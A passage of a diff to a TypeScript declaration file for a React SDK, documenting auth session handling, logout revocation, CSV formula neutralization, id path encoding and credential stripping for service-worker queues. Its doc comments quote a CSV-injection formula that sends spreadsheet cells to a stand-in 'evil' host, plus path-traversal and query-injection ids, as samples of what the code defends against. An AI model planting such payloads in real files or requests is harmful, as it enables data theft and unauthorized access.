* no longer the current one, the rotation it was about to trigger already
|
|
4856
|
+
* happened, so the call returns at once and the replay picks up the new token.
|
|
4613
4857
|
* The same five requests then take exactly one refresh, and so do twenty.
|
|
4614
4858
|
*
|
|
4859
|
+
* Called by hand, with no context, the queue falls back to remembering the
|
|
4860
|
+
* token its last refresh produced and skipping while that token is in place.
|
|
4861
|
+
* That fallback cannot tell "already refreshed" from "the refreshed token has
|
|
4862
|
+
* since expired" — both leave the same string in the store — which is why the
|
|
4863
|
+
* client passes the context. Before 0.77.0 the client did not, and every
|
|
4864
|
+
* access token a refresh issued became unrefreshable once it expired: its `401`
|
|
4865
|
+
* skipped the refresh, the replay failed again, and `onUnauthorized` ended the
|
|
4866
|
+
* session.
|
|
4867
|
+
*
|
|
4615
4868
|
* @param refresh - Performs the refresh and installs the new credentials.
|
|
4616
4869
|
* @param options - Optional token reader that enables already-refreshed
|
|
4617
4870
|
* detection.
|
|
4618
|
-
* @returns A function that refreshes at most once per rotation
|
|
4871
|
+
* @returns A function that refreshes at most once per rotation, accepting the
|
|
4872
|
+
* {@link RequestAuthContext} `createApiClient` passes on a `401`.
|
|
4619
4873
|
*
|
|
4620
4874
|
* @example
|
|
4621
4875
|
* const refresh = createRefreshQueue(() => AuthService.refresh(), {
|
|
@@ -4626,7 +4880,7 @@ export declare function createQueryKeys<TKey extends string, TEntries extends Re
|
|
|
4626
4880
|
* await refresh();
|
|
4627
4881
|
* // ...retry the original request
|
|
4628
4882
|
*/
|
|
4629
|
-
export declare function createRefreshQueue(refresh: () => Promise<void>, options?: CreateRefreshQueueOptions): () => Promise<void>;
|
|
4883
|
+
export declare function createRefreshQueue(refresh: () => Promise<void>, options?: CreateRefreshQueueOptions): (context?: Pick<RequestAuthContext, "token">) => Promise<void>;
|
|
4630
4884
|
|
|
4631
4885
|
export declare interface CreateRefreshQueueOptions {
|
|
4632
4886
|
/**
|
|
@@ -4842,6 +5096,30 @@ export declare interface CreateStorePersistOptions<T> {
|
|
|
4842
5096
|
* `redirectTo` set, the browser also leaves the page; without it, clearing the
|
|
4843
5097
|
* store is enough for a `<RouteGuard>` to navigate on its own.
|
|
4844
5098
|
*
|
|
5099
|
+
* Every refresh is bound to a **session epoch**, bumped by `logout()` and by a
|
|
5100
|
+
* `login()` whose credentials were accepted. A refresh that resolves after its epoch ended discards
|
|
5101
|
+
* what it brought back and rejects with {@link SessionSupersededError}, which
|
|
5102
|
+
* the client passes through without ending the new session. Before 0.77.0 a
|
|
5103
|
+
* refresh that was in flight during `logout()` reinstalled the old tokens —
|
|
5104
|
+
* and after `logout()` + `login(B)`, replaced B's token with A's while the UI
|
|
5105
|
+
* showed B (#435). A `401` from a request sent under an ended session is
|
|
5106
|
+
* refused the same way, instead of being replayed as the account signed in now.
|
|
5107
|
+
*
|
|
5108
|
+
* A `401` from a request that carried no token, while no session is installed,
|
|
5109
|
+
* surfaces without a refresh: in cookie mode that refresh would be answered by
|
|
5110
|
+
* the HttpOnly cookie `logout()` cannot clear, signing the previous account
|
|
5111
|
+
* back in (#474). With a `login()` in flight, that `401` waits for it and
|
|
5112
|
+
* replays with the token it installed, or surfaces when it failed — still
|
|
5113
|
+
* without a refresh (#496). Restore a session at boot with an explicit
|
|
5114
|
+
* `refresh()`, and pass `logoutPath` so the backend revokes the cookie:
|
|
5115
|
+
* without a working revocation, that boot `refresh()` restores the previous
|
|
5116
|
+
* account for whoever uses the browser next.
|
|
5117
|
+
*
|
|
5118
|
+
* Refreshes are collapsed per rotation, not just per overlap: a `401` whose
|
|
5119
|
+
* request left with a token that has since been replaced in the same session
|
|
5120
|
+
* replays with the new token and refreshes nothing. Three expired requests take
|
|
5121
|
+
* one refresh whether their `401`s arrive together or one after another.
|
|
5122
|
+
*
|
|
4845
5123
|
* @example
|
|
4846
5124
|
* const auth = createTempestAuth<User, { email: string; password: string }>({
|
|
4847
5125
|
* baseURL: import.meta.env.VITE_API_URL,
|
|
@@ -4850,7 +5128,7 @@ export declare interface CreateStorePersistOptions<T> {
|
|
|
4850
5128
|
*
|
|
4851
5129
|
* await auth.login({ email, password }); // stores session, returns the user
|
|
4852
5130
|
* const orders = await auth.api.get("/api/orders"); // sends the bearer token
|
|
4853
|
-
* auth.logout();
|
|
5131
|
+
* await auth.logout(); // clears, then runs onSessionEnd
|
|
4854
5132
|
*
|
|
4855
5133
|
* @param options - The auth configuration.
|
|
4856
5134
|
* @returns The store hook, a wired API client, and login/logout/refresh helpers.
|
|
@@ -4877,6 +5155,51 @@ export declare interface CreateTempestAuthOptions<TUser> {
|
|
|
4877
5155
|
loginPath?: string;
|
|
4878
5156
|
/** Refresh route (`POST`). Default: `"/api/auth/refresh"`. */
|
|
4879
5157
|
refreshPath?: string;
|
|
5158
|
+
/**
|
|
5159
|
+
* Server-side logout route (`POST`), called by an explicit `logout()` to
|
|
5160
|
+
* revoke the ending session. Off by default.
|
|
5161
|
+
*
|
|
5162
|
+
* `logout()` alone only clears client state, and an HttpOnly refresh
|
|
5163
|
+
* cookie is out of its reach: with `withCredentials`, the cookie stays
|
|
5164
|
+
* redeemable until the backend revokes it. The tempest-fastapi-sdk mounts
|
|
5165
|
+
* `POST /auth/logout` (`204`, idempotent) when it stores refresh tokens in
|
|
5166
|
+
* the database — at `/auth/cookie/logout` when it delivers tokens both in
|
|
5167
|
+
* the body and in cookies — and stateless refresh tokens cannot be
|
|
5168
|
+
* revoked, so the route is absent there.
|
|
5169
|
+
*
|
|
5170
|
+
* The request goes out through the ended session's client (the same one
|
|
5171
|
+
* `onSessionEnd` receives, carrying its access token), with the body that
|
|
5172
|
+
* `refreshBody` builds from the refresh token stored before the clear:
|
|
5173
|
+
* `{ refresh_token }` in body mode, no body in cookie mode, which is what
|
|
5174
|
+
* that route reads. The local clear does not wait on it — `isAuthenticated`
|
|
5175
|
+
* is still `false` when `logout()` returns — but the promise `logout()`
|
|
5176
|
+
* returns does, so a navigation after `await auth.logout()` does not abort
|
|
5177
|
+
* it. A failure (network, `4xx`, `5xx`) is swallowed: revocation is
|
|
5178
|
+
* best-effort and never keeps the user signed in. A `login()` started
|
|
5179
|
+
* while it is in flight waits for it, because the logout response clears
|
|
5180
|
+
* the auth cookies and would otherwise clear the new account's.
|
|
5181
|
+
*
|
|
5182
|
+
* Only an explicit `logout()` revokes. On `"switch"` the cookie jar already
|
|
5183
|
+
* holds the new account's cookie, and on `"expired"` the server has already
|
|
5184
|
+
* refused the session.
|
|
5185
|
+
*
|
|
5186
|
+
* Overlapping sign-outs each send their own revocation, and `login()` waits
|
|
5187
|
+
* for all of them — at most 10 seconds, so one that
|
|
5188
|
+
* never answers delays the sign-in instead of blocking it. In cookie mode,
|
|
5189
|
+
* a revocation also waits (within the same bound) for the login and
|
|
5190
|
+
* refresh responses that were in flight when `logout()` ran: the server
|
|
5191
|
+
* sets the ended session's cookie when that response arrives, and a
|
|
5192
|
+
* revocation sent earlier would leave it behind. In body mode, the refresh
|
|
5193
|
+
* token such a superseded response brings back is revoked on its own.
|
|
5194
|
+
*/
|
|
5195
|
+
logoutPath?: string;
|
|
5196
|
+
/**
|
|
5197
|
+
* Called with the error when a `logoutPath` revocation fails — network
|
|
5198
|
+
* failure, `4xx` or `5xx`. `logout()` still resolves, since the local
|
|
5199
|
+
* sign-out already happened; this is where the app logs or retries. A dev
|
|
5200
|
+
* build also warns in the console. Errors it throws are swallowed.
|
|
5201
|
+
*/
|
|
5202
|
+
onLogoutError?: (error: unknown) => void;
|
|
4880
5203
|
/** Optional current-user route (`GET`) called after login/refresh. */
|
|
4881
5204
|
mePath?: string;
|
|
4882
5205
|
/** Persist key for the store. Default: `"tempest-auth"`. */
|
|
@@ -4929,6 +5252,48 @@ export declare interface CreateTempestAuthOptions<TUser> {
|
|
|
4929
5252
|
* outside any guarded subtree and a full reload is acceptable.
|
|
4930
5253
|
*/
|
|
4931
5254
|
redirectTo?: string;
|
|
5255
|
+
/**
|
|
5256
|
+
* Tear down per-user state when a session ends — on an explicit `logout()`,
|
|
5257
|
+
* when the client ends the session on its own after a failed refresh, and
|
|
5258
|
+
* when a successful `login()` replaces a live session. Without it, the automatic path had no place to hook into, and
|
|
5259
|
+
* state derived from the user (a push subscription, a persisted query
|
|
5260
|
+
* cache, a background-sync queue) survived into the next account.
|
|
5261
|
+
*
|
|
5262
|
+
* Order, on every path:
|
|
5263
|
+
*
|
|
5264
|
+
* 1. any refresh still in flight is superseded, so it cannot reinstall the
|
|
5265
|
+
* ending session's tokens;
|
|
5266
|
+
* 2. the store and the stored refresh token are cleared — synchronously, so
|
|
5267
|
+
* `isAuthenticated` is already `false` when `logout()` returns;
|
|
5268
|
+
* 3. this hook runs with a {@link TempestSessionEnd} whose `api` still sends
|
|
5269
|
+
* the ended session's access token;
|
|
5270
|
+
* 4. on `"expired"` with `redirectTo` set, the browser navigates — after the
|
|
5271
|
+
* hook settled, even if it threw; on `"switch"`, the new session is
|
|
5272
|
+
* installed — after the hook settled, even if it threw.
|
|
5273
|
+
*
|
|
5274
|
+
* It may be async. `logout()` resolves when it settles and rejects with what
|
|
5275
|
+
* it threw; on the automatic path the error is swallowed, because the
|
|
5276
|
+
* request that ended the session already rejects with its own `401`. It
|
|
5277
|
+
* runs once per session: a second `logout()`, or the other requests of a
|
|
5278
|
+
* burst of `401`s, find nothing left to end and skip it.
|
|
5279
|
+
*
|
|
5280
|
+
* On `"switch"` the hook runs only **after** the new credentials were
|
|
5281
|
+
* accepted, so a failed `login()` leaves the live session untouched. It runs
|
|
5282
|
+
* **before** the new session is installed: teardown of the previous
|
|
5283
|
+
* account's state (clearing a persisted cache, a background-sync queue) has
|
|
5284
|
+
* to finish before the new account's requests start filling them, or it
|
|
5285
|
+
* would wipe — or race with — the new account's data. The cost is that
|
|
5286
|
+
* `isAuthenticated` is `false` while the hook runs, which a route guard may
|
|
5287
|
+
* act on; keep the hook short. Its error is swallowed there, since the
|
|
5288
|
+
* login itself succeeded.
|
|
5289
|
+
*
|
|
5290
|
+
* Inside the hook, reach the backend only through `session.api`. `auth.api`
|
|
5291
|
+
* goes out with no token; `auth.login()` waits on the teardown in progress —
|
|
5292
|
+
* this hook — and never settles. Telling the hook apart from an outside
|
|
5293
|
+
* caller would need an async context the browser does not have, so this is
|
|
5294
|
+
* a documented rule, not a runtime check.
|
|
5295
|
+
*/
|
|
5296
|
+
onSessionEnd?: (session: TempestSessionEnd<TUser>) => void | Promise<void>;
|
|
4932
5297
|
}
|
|
4933
5298
|
|
|
4934
5299
|
/**
|
|
@@ -5403,6 +5768,33 @@ export declare interface CsvOptions {
|
|
|
5403
5768
|
delimiter?: "," | ";";
|
|
5404
5769
|
/** Prefix the output with a UTF-8 BOM. Default `true`. */
|
|
5405
5770
|
bom?: boolean;
|
|
5771
|
+
/**
|
|
5772
|
+
* Prefix `'` to every text field that a spreadsheet would read as a formula.
|
|
5773
|
+
* Default `true`.
|
|
5774
|
+
*
|
|
5775
|
+
* A field starting with `=`, `+`, `-`, `@`, TAB or CR is a formula start by the
|
|
5776
|
+
* OWASP list (Excel and Google Sheets read it so; LibreOffice 26.2 evaluated only
|
|
5777
|
+
* `=`), and opening the file evaluates it: a name typed
|
|
5778
|
+
* as `=HYPERLINK("https://evil/?d="&A1,"ver")` turns into a link that exfiltrates
|
|
5779
|
+
* other cells (OWASP "CSV Injection"). Measured on LibreOffice 26.2: `=1+2` was
|
|
5780
|
+
* imported as the formula `of:=1+2` with value `3`. The default is the safe one
|
|
5781
|
+
* because the BOM and the `;` delimiter already aim the file at a spreadsheet,
|
|
5782
|
+
* and because the app that exports rarely controls every value in it.
|
|
5783
|
+
*
|
|
5784
|
+
* Text holding a `,`, `;` or TAB is also quoted whatever the delimiter
|
|
5785
|
+
* (#481): a spreadsheet whose list separator is not the file's would otherwise
|
|
5786
|
+
* split the bare field there and could start a cell with `=`. A quoted field is
|
|
5787
|
+
* not split, so the quotes close that path without touching the text —
|
|
5788
|
+
* `x;=1+2` is written `"x;=1+2"`.
|
|
5789
|
+
*
|
|
5790
|
+
* Numbers are never prefixed: a `number` cell, or a text field that is only a
|
|
5791
|
+
* number (`"-5"`, `"-1.234,56"`, `"+42"`, `"1e-7"`), cannot be a formula, and
|
|
5792
|
+
* neither can a lone `"-"`, which is left alone too. Pass
|
|
5793
|
+
* `false` when the file feeds another system's importer rather than a person's
|
|
5794
|
+
* spreadsheet, so the bytes round-trip unchanged and only the delimiter, quotes
|
|
5795
|
+
* and line breaks decide the quoting.
|
|
5796
|
+
*/
|
|
5797
|
+
neutralizeFormulas?: boolean;
|
|
5406
5798
|
}
|
|
5407
5799
|
|
|
5408
5800
|
/** Cursor-paginated response envelope (`CursorPaginationSchema[T]`). */
|
|
@@ -5530,6 +5922,11 @@ export declare interface DataProviderOptions {
|
|
|
5530
5922
|
/**
|
|
5531
5923
|
* Build the request path for a resource (and optional id).
|
|
5532
5924
|
* Default: `id == null ? "/" + resource : "/" + resource + "/" + id`.
|
|
5925
|
+
*
|
|
5926
|
+
* Since 0.77.0 `id` arrives already passed through {@link encodeIdSegment}:
|
|
5927
|
+
* percent-encoded as one path segment, and never `""`, `"."` or `".."`. An
|
|
5928
|
+
* override therefore interpolates it as-is — encoding it again would turn
|
|
5929
|
+
* `%2F` into `%252F`.
|
|
5533
5930
|
*/
|
|
5534
5931
|
buildPath?: (resource: string, id?: string | number) => string;
|
|
5535
5932
|
}
|
|
@@ -6013,6 +6410,19 @@ export declare const DEFAULT_CHUNK_SIZE: number;
|
|
|
6013
6410
|
*/
|
|
6014
6411
|
export declare const DEFAULT_CIRCUITY_FACTOR = 1.3;
|
|
6015
6412
|
|
|
6413
|
+
/**
|
|
6414
|
+
* Header names treated as credentials by the service-worker helpers: never
|
|
6415
|
+
* persisted by `installBackgroundSync`, and a request carrying any of them
|
|
6416
|
+
* bypasses `installRuntimeCache` unless the route opts in. `Cookie` and
|
|
6417
|
+
* `Proxy-Authorization` are listed for completeness although the browser
|
|
6418
|
+
* forbids scripts from setting them — a cookie session is invisible to the
|
|
6419
|
+
* worker. The runtime cache therefore depends on `Cache-Control` and
|
|
6420
|
+
* `clearSessionData()`; the background-sync queue checks the entry's owner
|
|
6421
|
+
* through `getPrincipal` whether or not a credential header was stripped, and
|
|
6422
|
+
* `clearSessionData()` still backs that check up.
|
|
6423
|
+
*/
|
|
6424
|
+
export declare const DEFAULT_CREDENTIAL_HEADERS: readonly string[];
|
|
6425
|
+
|
|
6016
6426
|
/**
|
|
6017
6427
|
* Default cookie the CSRF token is read from.
|
|
6018
6428
|
*
|
|
@@ -6414,7 +6824,8 @@ export declare type DocumentVisibility = "visible" | "hidden";
|
|
|
6414
6824
|
* @param rows - The rows to export.
|
|
6415
6825
|
* @param columns - Columns, in the order they should appear.
|
|
6416
6826
|
* @param fileName - File name offered to the user. Default `"export.csv"`.
|
|
6417
|
-
* @param options - Delimiter and
|
|
6827
|
+
* @param options - Delimiter, BOM and formula neutralization, forwarded to
|
|
6828
|
+
* {@link toCsv}.
|
|
6418
6829
|
* @returns A promise that resolves once the share or download completes.
|
|
6419
6830
|
*/
|
|
6420
6831
|
export declare function downloadCsv<T>(rows: readonly T[], columns: readonly CsvColumn<T>[], fileName?: string, options?: CsvOptions): Promise<void>;
|
|
@@ -6603,6 +7014,34 @@ export declare interface EmptyStateProps {
|
|
|
6603
7014
|
className?: string;
|
|
6604
7015
|
}
|
|
6605
7016
|
|
|
7017
|
+
/**
|
|
7018
|
+
* Encode a record id as exactly one URL path segment.
|
|
7019
|
+
*
|
|
7020
|
+
* The data provider calls this on every id before building a path, because the
|
|
7021
|
+
* id is the one part of the URL that may come from outside the app — a search
|
|
7022
|
+
* param, a hash, a decoded route param, a value another user stored. Left raw,
|
|
7023
|
+
* `"../../admin/users"` walks the authenticated request out of the resource,
|
|
7024
|
+
* `"7?role=admin"` injects query params and `"7#x"` truncates the path, all
|
|
7025
|
+
* while the request still carries the bearer token (#438).
|
|
7026
|
+
*
|
|
7027
|
+
* `encodeURIComponent` neutralises `/`, `?`, `#` and `%`. It leaves `.` alone,
|
|
7028
|
+
* so `""`, `"."` and `".."` are rejected instead: the URL parser resolves them
|
|
7029
|
+
* as dot-segments whatever the encoding, and none of them names a record.
|
|
7030
|
+
* `null` and `undefined` — what an untyped caller or a not-yet-loaded route
|
|
7031
|
+
* param hands over — are rejected too, since `String()` would turn them into
|
|
7032
|
+
* the literal segments `"null"` and `"undefined"`.
|
|
7033
|
+
*
|
|
7034
|
+
* @param id - The record id, as handed to the provider.
|
|
7035
|
+
* @returns The percent-encoded segment, safe to interpolate between two `/`.
|
|
7036
|
+
* @throws {TypeError} When the id is `null`, `undefined`, `""`, `"."` or `".."`.
|
|
7037
|
+
*
|
|
7038
|
+
* @example
|
|
7039
|
+
* encodeIdSegment(7); // "7"
|
|
7040
|
+
* encodeIdSegment("a/b?x=1"); // "a%2Fb%3Fx%3D1"
|
|
7041
|
+
* encodeIdSegment(".."); // throws TypeError
|
|
7042
|
+
*/
|
|
7043
|
+
export declare function encodeIdSegment(id: string | number): string;
|
|
7044
|
+
|
|
6606
7045
|
/**
|
|
6607
7046
|
* Encode text into a QR matrix.
|
|
6608
7047
|
*
|
|
@@ -6784,6 +7223,53 @@ export declare interface EventStreamMessage<T> {
|
|
|
6784
7223
|
|
|
6785
7224
|
export declare type EventStreamStatus = "idle" | "connecting" | "open" | "closed" | "error";
|
|
6786
7225
|
|
|
7226
|
+
/**
|
|
7227
|
+
* Finish a `tempest-fastapi-sdk` social login from the SPA's callback route.
|
|
7228
|
+
*
|
|
7229
|
+
* Reads the redirect with {@link readOAuthCallbackParams} and forwards `code`
|
|
7230
|
+
* **and** `state` to `GET {prefix}/oauth/{provider}/callback`, where the backend
|
|
7231
|
+
* compares the state against its `HttpOnly` cookie, redeems the code and
|
|
7232
|
+
* answers with the same JWT pair `POST {prefix}/login` returns.
|
|
7233
|
+
*
|
|
7234
|
+
* The request goes with `credentials: "include"` because the state cookie is
|
|
7235
|
+
* the other half of the comparison; with `skipAuth`, since there is no session
|
|
7236
|
+
* yet and a `401` here means a forged or expired callback, not an expired token
|
|
7237
|
+
* to refresh; and with `retry: false`, because the backend clears the state
|
|
7238
|
+
* cookie on the first attempt and a code redeems once.
|
|
7239
|
+
*
|
|
7240
|
+
* Pass it as the `exchange` of {@link useOAuthCallback}, which runs it once even
|
|
7241
|
+
* under StrictMode.
|
|
7242
|
+
*
|
|
7243
|
+
* @param api - The client from `createApiClient` (or `createTempestAuth().api`).
|
|
7244
|
+
* @param provider - The provider key registered on the backend (e.g. `"google"`).
|
|
7245
|
+
* @param options - Router prefix, the query string to read, abort signal.
|
|
7246
|
+
* @returns The backend's login response.
|
|
7247
|
+
* @throws {OAuthCallbackError} Before any request, when the redirect carries
|
|
7248
|
+
* `error` or lacks `state` or `code`.
|
|
7249
|
+
*
|
|
7250
|
+
* @example
|
|
7251
|
+
* const { loading, error } = useOAuthCallback<LoginResponse>({
|
|
7252
|
+
* exchange: () => exchangeOAuthCallback<LoginResponse>(api, "google"),
|
|
7253
|
+
* onSuccess: () => navigate("/", { replace: true }),
|
|
7254
|
+
* });
|
|
7255
|
+
*/
|
|
7256
|
+
export declare function exchangeOAuthCallback<T>(api: ApiClient, provider: string, options?: ExchangeOAuthCallbackOptions): Promise<T>;
|
|
7257
|
+
|
|
7258
|
+
/** Options for {@link exchangeOAuthCallback}. */
|
|
7259
|
+
export declare interface ExchangeOAuthCallbackOptions {
|
|
7260
|
+
/**
|
|
7261
|
+
* Path the backend's auth router is mounted at — the `prefix` given to
|
|
7262
|
+
* `make_auth_router`. Default: `"/auth"`.
|
|
7263
|
+
*/
|
|
7264
|
+
prefix?: string;
|
|
7265
|
+
/** Where to read the provider's redirect from. Default: `window.location.search`. */
|
|
7266
|
+
search?: string | URLSearchParams;
|
|
7267
|
+
/** Forwarded to {@link readOAuthCallbackParams}. Default: scrub when reading `window.location`. */
|
|
7268
|
+
scrubUrl?: boolean;
|
|
7269
|
+
/** Abort the exchange. */
|
|
7270
|
+
signal?: AbortSignal;
|
|
7271
|
+
}
|
|
7272
|
+
|
|
6787
7273
|
/**
|
|
6788
7274
|
* Grow a bounding box outward by `ratio` of its own span on every side, with a
|
|
6789
7275
|
* small absolute floor so a single-point (zero-span) box still gets padding.
|
|
@@ -8217,9 +8703,17 @@ export declare function inspectCaches(options?: {
|
|
|
8217
8703
|
|
|
8218
8704
|
/**
|
|
8219
8705
|
* Install the background-sync queue: on a failed mutating request, the request
|
|
8220
|
-
* is serialized to IndexedDB and a sync is
|
|
8221
|
-
* rejects (so your app can show an offline
|
|
8222
|
-
* later when the network returns.
|
|
8706
|
+
* is serialized to IndexedDB (without its credential headers) and a sync is
|
|
8707
|
+
* registered; the original fetch still rejects (so your app can show an offline
|
|
8708
|
+
* state), and the request is replayed later when the network returns.
|
|
8709
|
+
*
|
|
8710
|
+
* Right after queueing, the worker asks the page that issued the request who is
|
|
8711
|
+
* signed in (`getPrincipal` on {@link provideBackgroundSyncCredentials}) and
|
|
8712
|
+
* stamps the entry with that owner, without delaying the rejection. The work is
|
|
8713
|
+
* handed to `event.waitUntil` synchronously, so the worker stays alive for it
|
|
8714
|
+
* in every engine. Without the Background Sync API (every non-Chromium
|
|
8715
|
+
* browser), the queue is drained opportunistically whenever a `GET` goes
|
|
8716
|
+
* through the worker.
|
|
8223
8717
|
*
|
|
8224
8718
|
* @tempest-limits empty-catch — `registration.sync.register` is unavailable on
|
|
8225
8719
|
* every non-Chromium browser and fails on a revoked background-sync permission.
|
|
@@ -8229,20 +8723,6 @@ export declare function inspectCaches(options?: {
|
|
|
8229
8723
|
*/
|
|
8230
8724
|
export declare function installBackgroundSync(options?: InstallBackgroundSyncOptions): void;
|
|
8231
8725
|
|
|
8232
|
-
/**
|
|
8233
|
-
* Background-sync helper: queue failed mutating requests (POST/PUT/PATCH/DELETE)
|
|
8234
|
-
* while offline and replay them when connectivity returns. A dependency-free
|
|
8235
|
-
* take on Workbox's `BackgroundSyncPlugin`, backed by a tiny IndexedDB queue.
|
|
8236
|
-
*
|
|
8237
|
-
* Import inside your `sw.ts`. Uses the Background Sync API (`registration.sync`)
|
|
8238
|
-
* when available, and also replays opportunistically on the next request as a
|
|
8239
|
-
* fallback for browsers without it (e.g. Safari).
|
|
8240
|
-
*
|
|
8241
|
-
* @example
|
|
8242
|
-
* import { installBackgroundSync } from "tempest-react-sdk/sw";
|
|
8243
|
-
*
|
|
8244
|
-
* installBackgroundSync({ match: (url) => url.pathname.startsWith("/api/") });
|
|
8245
|
-
*/
|
|
8246
8726
|
/** Options for {@link installBackgroundSync}. */
|
|
8247
8727
|
export declare interface InstallBackgroundSyncOptions {
|
|
8248
8728
|
/**
|
|
@@ -8262,6 +8742,57 @@ export declare interface InstallBackgroundSyncOptions {
|
|
|
8262
8742
|
* thread with {@link registerPeriodicSync}. Default `${queueName}-periodic`.
|
|
8263
8743
|
*/
|
|
8264
8744
|
periodicSyncTag?: string;
|
|
8745
|
+
/**
|
|
8746
|
+
* Header names stripped before a request is persisted — and stripped again on
|
|
8747
|
+
* replay, so entries written by an older version never go out with the
|
|
8748
|
+
* credential they stored. Default {@link DEFAULT_CREDENTIAL_HEADERS}; extend it
|
|
8749
|
+
* for a custom credential header (`[...DEFAULT_CREDENTIAL_HEADERS,
|
|
8750
|
+
* "x-tenant-key"]`). Passing `[]` restores the pre-0.77 behavior of
|
|
8751
|
+
* persisting and replaying every header, credentials included.
|
|
8752
|
+
*/
|
|
8753
|
+
credentialHeaders?: readonly string[];
|
|
8754
|
+
/**
|
|
8755
|
+
* Prepare each queued request right before it is replayed: return the
|
|
8756
|
+
* request to send (typically with the current credentials applied) or
|
|
8757
|
+
* `null` to drop the entry for good. A thrown error keeps the entry pending.
|
|
8758
|
+
* The context carries the entry's owner, so a custom hook can apply the
|
|
8759
|
+
* same rule as the default.
|
|
8760
|
+
*
|
|
8761
|
+
* Default: only an `"unbound"` entry with no stripped credentials (and, under
|
|
8762
|
+
* `ownerPolicy: "lenient"`, an `"unknown"` one) is replayed as-is, without
|
|
8763
|
+
* asking. Every other entry — credentialed or not —
|
|
8764
|
+
* asks every open window client in parallel (see
|
|
8765
|
+
* {@link provideBackgroundSyncCredentials}) and picks the answer that fits:
|
|
8766
|
+
* - `"bound"`: the answer whose owner matches; none among valid answers →
|
|
8767
|
+
* dropped, never sent anonymously or as somebody else;
|
|
8768
|
+
* - `"unknown"`: only when every answer lacks a principal (an app that does
|
|
8769
|
+
* not use `getPrincipal`); a single answer with one → dropped, since a
|
|
8770
|
+
* stale tab without `getPrincipal` says nothing about who is signed in
|
|
8771
|
+
* next to it. This holds for an entry
|
|
8772
|
+
* with no credential header too, since the browser attaches the cookies of
|
|
8773
|
+
* whoever is signed in at replay time;
|
|
8774
|
+
* - `"unbound"`: any answer, preferring one without a principal.
|
|
8775
|
+
* Then `null` headers drop a credentialed entry, an answer that lacks one of
|
|
8776
|
+
* the stripped headers keeps it pending, and only the stripped names are
|
|
8777
|
+
* re-applied. No valid answer at all keeps it pending until
|
|
8778
|
+
* `maxRetentionMinutes` (and warns once per replay in development builds) —
|
|
8779
|
+
* so a page that never calls {@link provideBackgroundSyncCredentials} leaves
|
|
8780
|
+
* every entry it queued `"unknown"`, and none of them is replayed.
|
|
8781
|
+
*/
|
|
8782
|
+
/**
|
|
8783
|
+
* How an `"unknown"` owner is handled on an entry with no stripped
|
|
8784
|
+
* credentials (see {@link BackgroundSyncOwnerPolicy}). Default `"strict"`.
|
|
8785
|
+
*
|
|
8786
|
+
* `"lenient"` restores the replay-as-is of 0.77.0 and earlier for an app without sign-in,
|
|
8787
|
+
* where no page ever reports a principal. Do not use it with a cookie
|
|
8788
|
+
* session: the browser attaches on replay the cookie of whoever is signed in
|
|
8789
|
+
* at that moment, so a mutation queued by A whose owner was never stamped
|
|
8790
|
+
* (issuing tab closed, empty `clientId`, stamp lost, legacy entry) goes out
|
|
8791
|
+
* with B's session. Entries with stripped credentials ask the pages either
|
|
8792
|
+
* way. Ignored when a custom `beforeReplay` is given.
|
|
8793
|
+
*/
|
|
8794
|
+
ownerPolicy?: BackgroundSyncOwnerPolicy;
|
|
8795
|
+
beforeReplay?: (request: Request, context: BackgroundSyncReplayContext) => Request | null | Promise<Request | null>;
|
|
8265
8796
|
}
|
|
8266
8797
|
|
|
8267
8798
|
/**
|
|
@@ -8494,6 +9025,14 @@ export declare interface InstallPushHandlerOptions {
|
|
|
8494
9025
|
* given runtime strategies. Non-matching requests are left untouched (no
|
|
8495
9026
|
* `respondWith`), so a later {@link installPrecache} can handle them.
|
|
8496
9027
|
*
|
|
9028
|
+
* A request carrying a credential header (`Authorization`, `X-Api-Key`, … — the
|
|
9029
|
+
* route's `credentialHeaders`) is also left untouched unless its route sets
|
|
9030
|
+
* `cacheAuthenticated`, and a response with `Cache-Control: no-store`
|
|
9031
|
+
* (or `private`, without that opt-in) is served but never stored. `maxAgeSeconds`
|
|
9032
|
+
* applies to every read, including the offline fallback: an expired entry is a
|
|
9033
|
+
* miss, never a last resort. Under `rangeRequests`, the full resource is cached
|
|
9034
|
+
* once (the `Range` header stripped) and each range is sliced from it.
|
|
9035
|
+
*
|
|
8497
9036
|
* Register this BEFORE `installPrecache` so specific routes win over the
|
|
8498
9037
|
* precache catch-all.
|
|
8499
9038
|
*
|
|
@@ -9522,6 +10061,25 @@ export declare type LocalStorageOptions<T> = {
|
|
|
9522
10061
|
deserialize?: (raw: string) => T;
|
|
9523
10062
|
};
|
|
9524
10063
|
|
|
10064
|
+
/**
|
|
10065
|
+
* The default `localStorage` storage, which can also forget every record it
|
|
10066
|
+
* holds.
|
|
10067
|
+
*/
|
|
10068
|
+
export declare interface LocalUploadStorage extends ResumableUploadStorage {
|
|
10069
|
+
/**
|
|
10070
|
+
* Forget every record under this storage's prefix — the call for
|
|
10071
|
+
* `onSessionEnd`, so the next account on the browser does not find the
|
|
10072
|
+
* previous one's upload URLs. Synchronous; a no-op without `localStorage`.
|
|
10073
|
+
*
|
|
10074
|
+
* Only values shaped like a record are removed, so a prefix without a
|
|
10075
|
+
* delimiter does not take the app's own keys with it. A run still going on
|
|
10076
|
+
* this prefix stops before its next chunk with
|
|
10077
|
+
* {@link ResumableUploadSupersededError} (`"cleared"`) instead of writing
|
|
10078
|
+
* its record back.
|
|
10079
|
+
*/
|
|
10080
|
+
clear(): void;
|
|
10081
|
+
}
|
|
10082
|
+
|
|
9525
10083
|
export declare interface LogEntry {
|
|
9526
10084
|
level: LogLevel;
|
|
9527
10085
|
message: string;
|
|
@@ -10639,6 +11197,38 @@ export declare interface NProgressState {
|
|
|
10639
11197
|
active: boolean;
|
|
10640
11198
|
}
|
|
10641
11199
|
|
|
11200
|
+
/**
|
|
11201
|
+
* A provider redirect that cannot be exchanged for a session.
|
|
11202
|
+
*
|
|
11203
|
+
* Thrown before any request leaves the browser, so a forged or truncated
|
|
11204
|
+
* callback never reaches the backend's exchange route.
|
|
11205
|
+
*/
|
|
11206
|
+
export declare class OAuthCallbackError extends Error {
|
|
11207
|
+
/** Which part of the callback was wrong. */
|
|
11208
|
+
readonly reason: OAuthCallbackErrorReason;
|
|
11209
|
+
/** The provider's `error` param (e.g. `"access_denied"`), when `reason` is `"provider_error"`. */
|
|
11210
|
+
readonly providerError?: string;
|
|
11211
|
+
/**
|
|
11212
|
+
* @param reason - Which part of the callback was wrong.
|
|
11213
|
+
* @param providerError - The provider's `error` param, when it sent one.
|
|
11214
|
+
*/
|
|
11215
|
+
constructor(reason: OAuthCallbackErrorReason, providerError?: string);
|
|
11216
|
+
}
|
|
11217
|
+
|
|
11218
|
+
/** Why {@link readOAuthCallbackParams} refused a callback URL. */
|
|
11219
